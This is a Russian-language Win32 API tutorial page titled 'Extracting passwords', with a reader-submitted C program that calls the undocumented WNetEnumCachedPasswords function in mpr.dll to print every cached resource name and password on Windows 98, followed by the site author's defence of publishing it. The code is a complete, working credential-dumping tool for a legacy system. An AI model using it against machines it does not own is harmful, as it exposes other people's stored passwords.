C++ C++ C# C# ASP.NET Security ASP.NET Security ASM ASM Скачать Скачать Поиск Поиск Хостинг Хостинг  
  Программа для работы с LPT портом...
Язык: .NET — ©Alexey...
  "ASP.NET Atlas" – AJAX в исполнении Micro...
Язык: .NET — ©legigor@mail.ru...
  "Невытесняющая" Многопоточность...
Язык: C/C++ — ©...
  01.05.2010 — Update World C++: Сборник GPL QT исходников
  15.12.2007 — Весь сайт целиком можно загрузить по ссылкам из раздела Скачать
Хостинг:
Windows 2003, ASP.NET 2.0
бесплатный и от 80 руб./мес


   Отправить письмо
Кулабухов Артем, Беларусь




 164 - Извлечение паролей / Win 32 API / Win32 API

Шаг 164 - Извлечение паролей

Привет Артем! Вот тоже кусок кода про mpr.dll 
Не знаю насколько этично его публиковать. 
Откомпиль в 98 и запусти.
"Bulat" <raditch@ufacom.ru>

Пароли могут храниться локально, если такие у Вас есть, а проверить Вы это сможете, прочитав шаг "Шаг 57 - Редактор списка паролей", то мы можем воспользоваться этим и извлечь их. Опять могу сказать, что данный вопрос в MSDN практически не рассматривается. Функция упоминается, но параметры не приводятся.

#include "stdafx.h"
#include "windows.h"
#include "stdio.h"
#include "conio.h"
 
typedef struct tagPASSWORD_CACHE_ENTRY {
	WORD cbEntry;		// size of this entry, in bytes
	WORD cbResource;		// size of resource name, in bytes
	WORD cbPassword;		// size of password, in bytes
	BYTE iEntry;		// entry index 
	BYTE nType;		// type of entry
	BYTE abResource[1];	// start of resource name
				// password immediately follows resource name
} PASSWORD_CACHE_ENTRY;
 
char buf[1024], ob1[1024];
 
BOOL CALLBACK pce(PASSWORD_CACHE_ENTRY *x, DWORD)
{
	memmove(buf, x->abResource, x->cbResource);
	buf[x->cbResource] = 0;
	CharToOem(buf, ob1);
	printf("%s : ", ob1);
 
	memmove(buf, x->abResource+x->cbResource, x->cbPassword);
	buf[x->cbPassword] = 0;
	CharToOem(buf, ob1);
	printf("%s\n", ob1);
 
	return TRUE;
}
 
void main()
{
	HINSTANCE hi = LoadLibrary("mpr.dll");
	if(!hi)
	{
		puts("Couldn't load mpr.dll");
		return;
	}
	WORD (__stdcall *enp)(LPSTR, WORD, BYTE, void*, DWORD) = 
	(WORD (__stdcall *)(LPSTR, WORD, BYTE, void*, DWORD))GetProcAddress(hi, "WNetEnumCachedPasswords");
	if(!enp)
	{
		puts("Couldn't import function");
		return;
	}
	(*enp)(0, 0, 0xff, pce, 0);
	getch();
	FreeLibrary(hi);
}

А вот результат. Я правда пароли на всякий случай прикрыл списком из редактора паролей.

164_1.gif (4069 b)

Шаг прислал Bulat.

От Артема: Там Bulat писал о том, что этично ли писать такие веши на сайт или нет. Можно мое мнение? Вопрос не в этичности. Вопрос в знании правды, а вот знать правду этично или нет, каждый решает сам. Мало кто ответит на такой простой вопрос - что лучше знать или нет, если девушка изменяет? Насчет того, что данными знаниями могут воспользоваться для нанесения вреда. Опять вопрос философский, есть много примеров из истории человечества, например атомная бомба, которая теперь является гарантом мира как ни странно. И еще я тут смотрю, как обесценивается с каждым днем понятие специалиста в области компьютеров. Человек только заставку научился менять на Windows, а уже и зарплату ему подавай побольше и все такое. Может подобные материалы заставят задуматься людей о уровне своей квалификации. О том, что та же Windows 98 хоть и не NT, но довольно сложная OS и за кнопкой ПУСК и рабочим столом есть еще что то.


| |
Автор Каев Артем.
[AD]